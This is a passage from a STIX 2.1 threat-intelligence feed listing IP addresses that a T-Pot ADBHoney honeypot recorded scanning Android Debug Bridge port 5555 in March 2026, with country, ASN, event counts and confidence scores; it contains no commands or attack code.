        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-03T12:08:42.000Z | last_seen=2026-03-03T12:09:51.972Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--3d7a4bba-69e3-467e-a2c0-d3a9eb92c54c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '61.166.166.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:00:02.000Z",
      "valid_until": "2026-04-04T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-03T12:08:42.000Z",
          "last_seen": "2026-03-03T12:09:51.972Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=36; ports=5555; cc=MX; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=36 | first_seen=2026-03-03T13:44:35.000Z | last_seen=2026-03-03T13:57:16.740Z | ports=5555 | cc=MX | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--a5fc004f-05a7-45ca-96ee-057817fbf7f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.87.34.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:00:03.000Z",
      "valid_until": "2026-04-04T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 36,
          "first_seen": "2026-03-03T13:44:35.000Z",
          "last_seen": "2026-03-03T13:57:16.740Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-03T13:30:30.000Z | last_seen=2026-03-11T03:57:38.484Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--dcbef8fd-c501-4465-865f-3c0640147821",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:00:03.000Z",
      "valid_until": "2026-04-04T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-03T13:30:30.000Z",
          "last_seen": "2026-03-11T03:57:38.484Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-03T13:29:52.000Z | last_seen=2026-03-03T13:31:02.159Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2878dede-2238-4cdf-9ef0-53b7d6c54cb5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:00:03.000Z",
      "valid_until": "2026-04-04T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-03T13:29:52.000Z",
          "last_seen": "2026-03-03T13:31:02.159Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T14:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=36; ports=5555; cc=MX; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=36 | first_seen=2026-03-03T13:44:35.000Z | last_seen=2026-03-03T13:57:16.740Z | ports=5555 | cc=MX | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--a5fc004f-05a7-45ca-96ee-057817fbf7f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.87.34.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:00:06.000Z",
      "valid_until": "2026-04-04T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 36,
          "first_seen": "2026-03-03T13:44:35.000Z",
          "last_seen": "2026-03-03T13:57:16.740Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T14:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-03T13:30:30.000Z | last_seen=2026-03-11T03:57:38.484Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--dcbef8fd-c501-4465-865f-3c0640147821",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:00:06.000Z",
      "valid_until": "2026-04-04T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-03T13:30:30.000Z",
          "last_seen": "2026-03-11T03:57:38.484Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T14:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-03T13:29:52.000Z | last_seen=2026-03-03T13:31:02.159Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2878dede-2238-4cdf-9ef0-53b7d6c54cb5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:00:06.000Z",
      "valid_until": "2026-04-04T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-03T13:29:52.000Z",
          "last_seen": "2026-03-03T13:31:02.159Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=56047; asn_org=China Mobile communications corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T15:09:10.000Z | last_seen=2026-03-03T15:10:19.234Z | ports=5555 | cc=CN | asn=56047 | org=China Mobile communications corporation",
      "id": "indicator--cafe4e16-3299-4fad-9a0d-6e1bf4aac32f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.55.96.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:00:03.000Z",
      "valid_until": "2026-04-04T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-03T15:09:10.000Z",
          "last_seen": "2026-03-03T15:10:19.234Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56047"
          ],
          "org": [
            "China Mobile communications corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-03T15:47:17.000Z | last_seen=2026-03-03T15:48:25.442Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--16634afe-7da3-4411-af3d-ca26795927d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.239.51.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:00:03.000Z",
      "valid_until": "2026-04-04T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-03T15:47:17.000Z",
          "last_seen": "2026-03-03T15:48:25.442Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T15:47:59.000Z | last_seen=2026-03-03T15:49:32.074Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--b2500ab2-f8ed-49a0-9040-866f5b7af308",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '78.128.114.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:00:03.000Z",
      "valid_until": "2026-04-04T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-03T15:47:59.000Z",
          "last_seen": "2026-03-03T15:49:32.074Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=56047; asn_org=China Mobile communications corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T15:09:10.000Z | last_seen=2026-03-03T15:10:19.234Z | ports=5555 | cc=CN | asn=56047 | org=China Mobile communications corporation",
      "id": "indicator--cafe4e16-3299-4fad-9a0d-6e1bf4aac32f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.55.96.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:00:03.000Z",
      "valid_until": "2026-04-04T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-03T15:09:10.000Z",
          "last_seen": "2026-03-03T15:10:19.234Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56047"
          ],
          "org": [
            "China Mobile communications corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-03T15:47:17.000Z | last_seen=2026-03-03T15:48:25.442Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--16634afe-7da3-4411-af3d-ca26795927d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.239.51.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:00:03.000Z",
      "valid_until": "2026-04-04T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-03T15:47:17.000Z",
          "last_seen": "2026-03-03T15:48:25.442Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T15:47:59.000Z | last_seen=2026-03-03T15:49:32.074Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--b2500ab2-f8ed-49a0-9040-866f5b7af308",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '78.128.114.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:00:03.000Z",
      "valid_until": "2026-04-04T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-03T15:47:59.000Z",
          "last_seen": "2026-03-03T15:49:32.074Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T17:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T16:57:51.000Z | last_seen=2026-03-03T16:59:00.439Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--17278fc2-3848-44a7-b272-635353b80321",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.236.54.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:00:13.000Z",
      "valid_until": "2026-04-04T17:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-03T16:57:51.000Z",
          "last_seen": "2026-03-03T16:59:00.439Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T17:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-03T16:21:45.000Z | last_seen=2026-03-03T16:32:04.088Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--4dd252d9-9881-4ec0-af5f-89051bf7a8ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.89.134.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:00:13.000Z",
      "valid_until": "2026-04-04T17:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-03T16:21:45.000Z",
          "last_seen": "2026-03-03T16:32:04.088Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-03T18:19:18.000Z | last_seen=2026-03-03T18:29:31.935Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--58e17b6d-74e4-4542-8948-483e6b703ec6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.3.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:00:02.000Z",
      "valid_until": "2026-04-04T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-03T18:19:18.000Z",
          "last_seen": "2026-03-03T18:29:31.935Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-03T18:56:08.000Z | last_seen=2026-03-03T19:06:57.272Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--bbea3253-ef40-4802-bd0b-cbeb0d11153c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
